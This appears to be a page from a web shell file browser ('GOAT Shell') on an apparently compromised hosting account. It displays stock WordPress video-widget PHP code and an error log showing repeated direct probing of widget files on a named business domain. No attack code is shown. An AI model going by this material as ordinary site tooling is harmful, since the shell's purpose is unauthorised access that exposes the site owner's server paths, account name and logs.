🐐 GOAT Shell

Current path: home/fresvfqn/.cagefs/tmp/



⬆️ Go up: .cagefs

📄 Viewing: phpkmnMjj

class-wp-widget-media-video.php000064400000020667151024420100012450 0ustar00<?php
/**
 * Widget API: WP_Widget_Media_Video class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a video widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Video extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_video',
			__( 'Video' ),
			array(
				'description' => __( 'Displays a video from the media library or from YouTube, Vimeo, or another provider.' ),
				'mime_type'   => 'video',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No video selected' ),
				'add_media'                  => _x( 'Add Video', 'label for button in the video widget' ),
				'replace_media'              => _x( 'Replace Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'That video cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Video Widget (%d)', 'Video Widget (%d)' ),
				'media_library_state_single' => __( 'Video Widget' ),
				/* translators: %s: A list of valid video file extensions. */
				'unsupported_file_type'      => sprintf( __( 'Sorry, the video at the supplied URL cannot be loaded. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo).' ), '<code>.' . implode( '</code>, <code>.', wp_get_video_extensions() ) . '</code>' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {

		$schema = array(
			'preload' => array(
				'type'                  => 'string',
				'enum'                  => array( 'none', 'auto', 'metadata' ),
				'default'               => 'metadata',
				'description'           => __( 'Preload' ),
				'should_preview_update' => false,
			),
			'loop'    => array(
				'type'                  => 'boolean',
				'default'               => false,
				'description'           => __( 'Loop' ),
				'should_preview_update' => false,
			),
			'content' => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'wp_kses_post',
				'description'           => __( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ),
				'should_preview_update' => false,
			),
		);

		foreach ( wp_get_video_extensions() as $video_extension ) {
			$schema[ $video_extension ] = array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				/* translators: %s: Video extension. */
				'description' => sprintf( __( 'URL to the %s video source file' ), $video_extension ),
			);
		}

		return array_merge( $schema, parent::get_instance_schema() );
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance   = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		$src = $instance['url'];
		if ( $attachment ) {
			$src = wp_get_attachment_url( $attachment->ID );
		}

		if ( empty( $src ) ) {
			return;
		}

		$youtube_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
		$vimeo_pattern   = '#^https?://(.+\.)?vimeo\.com/.*#';

		if ( $attachment || preg_match( $youtube_pattern, $src ) || preg_match( $vimeo_pattern, $src ) ) {
			add_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );

			echo wp_video_shortcode(
				array_merge(
					$instance,
					compact( 'src' )
				),
				$instance['content']
			);

			remove_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );
		} else {
			echo $this->inject_video_max_width_style( wp_oembed_get( $src ) );
		}
	}

	/**
	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param string $html Video shortcode HTML output.
	 * @return string HTML Output.
	 */
	public function inject_video_max_width_style( $html ) {
		$html = preg_replace( '/\sheight="\d+"/', '', $html );
		$html = preg_replace( '/\swidth="\d+"/', '', $html );
		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
		return $html;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a video shortcode is used.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {
		/** This filter is documented in wp-includes/media.php */
		if ( 'mediaelement' === apply_filters( 'wp_video_shortcode_library', 'mediaelement' ) ) {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'mediaelement-vimeo' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-video-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $exported_schema )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base ),
				wp_json_encode( $this->widget_options['mime_type'] ),
				wp_json_encode( $this->l10n )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts()
		?>
		<script type="text/html" id="tmpl-wp-media-widget-video-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['missing_attachment'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error && 'unsupported_file_type' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['unsupported_file_type'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error ) { #>
				<?php
				wp_admin_notice(
					__( 'Unable to preview media due to an unknown error.' ),
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( data.is_oembed && data.model.poster ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link">
					<img src="{{ data.model.poster }}" />
				</a>
			<# } else if ( data.is_oembed ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link no-poster">
					<span class="dashicons dashicons-format-video"></span>
				</a>
			<# } else if ( data.model.src ) { #>
				<?php wp_underscore_video_template(); ?>
			<# } #>
		</script>
		<?php
	}
}
error_log000064400000224771151024420100006463 0ustar00[21-Aug-2025 02:30:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[21-Aug-2025 03:56:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[21-Aug-2025 03:56:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[21-Aug-2025 07:20:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[21-Aug-2025 07:21:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[21-Aug-2025 07:28:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[21-Aug-2025 07:28:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[21-Aug-2025 07:28:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[21-Aug-2025 07:28:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[21-Aug-2025 07:28:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[21-Aug-2025 07:28:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[21-Aug-2025 07:29:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[21-Aug-2025 07:29:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[21-Aug-2025 07:29:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[21-Aug-2025 07:29:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[21-Aug-2025 07:29:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[21-Aug-2025 07:29:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[21-Aug-2025 07:30:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[21-Aug-2025 07:30:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[21-Aug-2025 07:30:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[23-Aug-2025 06:11:20 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[23-Aug-2025 07:41:55 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[23-Aug-2025 09:39:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[23-Aug-2025 10:24:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[24-Aug-2025 00:13:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[24-Aug-2025 00:13:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[24-Aug-2025 00:13:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[24-Aug-2025 00:13:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[24-Aug-2025 00:13:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[24-Aug-2025 00:13:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[24-Aug-2025 00:13:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[24-Aug-2025 00:13:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[24-Aug-2025 00:13:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[24-Aug-2025 00:14:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[24-Aug-2025 00:14:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[24-Aug-2025 00:14:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[24-Aug-2025 00:14:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[24-Aug-2025 00:14:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[24-Aug-2025 00:16:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[24-Aug-2025 09:34:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[11-Oct-2025 07:49:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[25-Oct-2025 08:53:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2025 17:48:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[27-Oct-2025 17:50:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[27-Oct-2025 17:52:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2025 17:53:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[27-Oct-2025 17:54:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[27-Oct-2025 17:59:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[27-Oct-2025 18:03:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[27-Oct-2025 18:05:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[27-Oct-2025 18:06:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[27-Oct-2025 18:08:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[27-Oct-2025 18:17:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[27-Oct-2025 18:19:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[27-Oct-2025 18:19:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[27-Oct-2025 18:20:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[27-Oct-2025 18:23:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[27-Oct-2025 18:24:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[27-Oct-2025 18:25:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[27-Oct-2025 18:26:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
